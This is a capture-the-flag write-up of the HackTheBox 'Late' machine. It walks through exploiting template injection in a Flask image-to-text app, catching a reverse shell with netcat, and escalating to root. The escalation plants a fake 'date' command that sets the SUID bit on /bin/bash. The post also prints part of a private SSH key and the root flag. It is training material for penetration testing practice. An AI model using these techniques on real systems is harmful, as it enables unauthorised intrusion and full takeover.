Skip to main content
K4oS writeups

Late – HackTheBox

K4oS 3 years ago

IP -> 10.10.11.156

We start by running an nmap scan “nmap -p- -v -sCV 10.10.11.156”

22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 02:5e:29:0e:a3:af:4e:72:9d:a4:fe:0d:cb:5d:83:07 (RSA)
|   256 41:e1:fe:03:a5:c7:97:c4:d5:16:77:f3:41:0c:e9:fb (ECDSA)
|_  256 28:39:46:98:17:1e:46:1a:1e:a1:ab:3b:9a:57:70:48 (ED25519)
80/tcp open  http    nginx 1.14.0 (Ubuntu)
|_http-title: Late - Best online image tools
|_http-favicon: Unknown favicon MD5: 1575FDF0E164C3DB0739CF05D9315BDF
| http-methods: 
|_  Supported Methods: GET HEAD
|_http-server-header: nginx/1.14.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

We only have two services running, ssh and HTTP. Let’s check the site.

Looking through the page I found a link with a domain and subdomain.

The link goes to http://images.late.htb/ . Let’s add the domain to our /etc/hosts file

10.10.11.156 late.htb images.late.htb

Now let’s access the link!

Looks like we have an application written in python using Flask! Let’s try submitting an image.

The image I will upload is this one:

It gave us a file back called “results.txt”. These are the contents:

<p>If you want to turn an image into a text document, you came to the right place.</p>

So it looks like it does what it says it does. It gets images, extracts the text and gives it to you back!.
Flask uses jinja2 for html templates and since the result has the <p> tag in it let’s check for SSTI.

This will be the image I upload:

And I get this back:

<p>2</p>

Great! We got SSTI. Let’s try a reverse shell.

My image:

And we get a shell!:

$ nc -lvnp 1234
Connection from 10.10.11.156:37238
sh: 0: can't access tty; job control turned off
$ id
uid=1000(svc_acc) gid=1000(svc_acc) groups=1000(svc_acc)

Let’s stabilise the shell.

[javier@K4oS late]$ nc -lvnp 1234
Connection from 10.10.11.156:37246
sh: 0: can't access tty; job control turned off
$ python3 -c 'import pty;pty.spawn("/bin/bash")'
svc_acc@late:~/app$ export TERM=xterm
export TERM=xterm
svc_acc@late:~/app$ ^Z
[1]+  Stopped                 nc -lvnp 1234
[javier@K4oS late]$ stty raw -echo; fg
nc -lvnp 1234

svc_acc@late:~/app$

Now that we stabalised our shell let’s enumerate sudo permission, cronjobs and setUID binaries.

svc_acc@late:~/app$ sudo -l
[sudo] password for svc_acc: 
svc_acc@late:~/app$ cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# m h dom mon dow user	command
17 *	* * *	root    cd / && run-parts --report /etc/cron.hourly
25 6	* * *	root	test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6	* * 7	root	test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6	1 * *	root	test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
#
svc_acc@late:~/app$ find / -perm -4000 2>/dev/null
/usr/sbin/pppd
/usr/sbin/sensible-mda
/usr/bin/chfn
/usr/bin/newuidmap
/usr/bin/passwd
/usr/bin/traceroute6.iputils
/usr/bin/newgrp
/usr/bin/sudo
/usr/bin/chsh
/usr/bin/arping
/usr/bin/procmail
/usr/bin/newgidmap
/usr/bin/gpasswd
/usr/bin/at
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
/bin/fusermount
/bin/mount
/bin/su
/bin/ping
/bin/umount

Nothing interesting here. Let’s try running pspy64 to check if the some cronjob is running but we can’t see it.

./pspy64s 
pspy - version: v1.2.0 - Commit SHA: 9c63e5d6c58f7bcdc235db663f5e3fe1c33b8855


     ██▓███    ██████  ██▓███ ▓██   ██▓
    ▓██░  ██▒▒██    ▒ ▓██░  ██▒▒██  ██▒
    ▓██░ ██▓▒░ ▓██▄   ▓██░ ██▓▒ ▒██ ██░
    ▒██▄█▓▒ ▒  ▒   ██▒▒██▄█▓▒ ▒ ░ ▐██▓░
    ▒██▒ ░  ░▒██████▒▒▒██▒ ░  ░ ░ ██▒▓░
    ▒▓▒░ ░  ░▒ ▒▓▒ ▒ ░▒▓▒░ ░  ░  ██▒▒▒ 
    ░▒ ░     ░ ░▒  ░ ░░▒ ░     ▓██ ░▒░ 
    ░░       ░  ░  ░  ░░       ▒ ▒ ░░  
                   ░           ░ ░     
                               ░ ░     

Config: Printing events (colored=true): processes=true | file-system-events=false ||| Scannning for processes every 100ms and on inotify events ||| Watching directories: [/usr /tmp /etc /home /var /opt] (recursive) | [] (non-recursive)
Draining file system events due to startup...
done
2022/06/08 13:34:01 CMD: UID=0    PID=4066   | /bin/sh -c /root/scripts/cron.sh 
2022/06/08 13:34:01 CMD: UID=0    PID=4065   | /usr/sbin/CRON -f 
2022/06/08 13:34:01 CMD: UID=0    PID=4064   | /usr/sbin/CRON -f 
2022/06/08 13:34:01 CMD: UID=0    PID=4072   | cp /root/scripts/ssh-alert.sh /usr/local/sbin/ssh-alert.sh

We can see the /root/scripts/cron.sh script is running every time we login via ssh and then and executes the cp command. Let’s check the contents of this file.

#!/bin/bash

RECIPIENT="[email protected]"
SUBJECT="Email from Server Login: SSH Alert"

BODY="
A SSH login was detected.

        User:        $PAM_USER
        User IP Host: $PAM_RHOST
        Service:     $PAM_SERVICE
        TTY:         $PAM_TTY
        Date:        `date`
        Server:      `uname -a`
"

if [ ${PAM_TYPE} = "open_session" ]; then
        echo "Subject:${SUBJECT} ${BODY}" | /usr/sbin/sendmail ${RECIPIENT}
fi

Okay. We say that in the /etc/crontab file the path was specified (PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin). Let’s check if we can edit files inside any of those directories.

svc_acc@late:/tmp/.K4oS$ ls -la /usr/local/sbin
total 12
drwxr-xr-x  2 svc_acc svc_acc 4096 Jun  8 13:36 .
drwxr-xr-x 10 root    root    4096 Aug  6  2020 ..
-rwxr-xr-x  1 svc_acc svc_acc  433 Jun  8 13:36 ssh-alert.sh

We can write files! But unfortunately, we can’t edit the main ssh-alert.sh script. The script it is running is calling the executable programs without their full path, therefore it looks in each of the directories in the PATH variable and if the executable is inside there it gets executed. We are lucky in this case since we can add our files to the first entry of the PATH variable. Meaning that when the script runs the command “date”, if we write our own /usr/local/sbin/date what we put inside that file will get executed as root.
So let’s create the /usr/local/sbin/date file with these contents:

#!/bin/sh
chmod +s /bin/bash

This will add the setUID bit to bash allowing us to execute bash as root. Now we have to add permissions so the file is executable:

$ chmod +x /usr/local/sbin/date

And now we trigger the script! Let’s copy the id_rsa of our user:

$ cat ~/.ssh/id_rsa
-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEAqe5XWFKVqleCyfzPo4HsfRR8uF/P/3Tn+fiAUHhnGvBBAyrM
HiP3S/DnqdIH2uqTXdPk4eGdXynz...

We paste this into a file in our system and change the permissions:

$ chmod 600 id_rsa

Now we trigger the script by running this in our main system:

$ ssh -i id_rsa [email protected]

And we should see this if we run it!:

$ ls -la /bin/bash
-rwsr-sr-x 1 root root 1113504 Jun  6  2019 /bin/bash

Now to avoid other users from executing bash as root we do:

$ chmod -s /bin/bash

And now we can read the root flag!:

$ id
uid=1000(svc_acc) gid=1000(svc_acc) euid=0(root) egid=0(root) groups=0(root),1000(svc_acc)
$ cat /root/root.txt 
b50adee4f70b23152f...


I hope you liked this!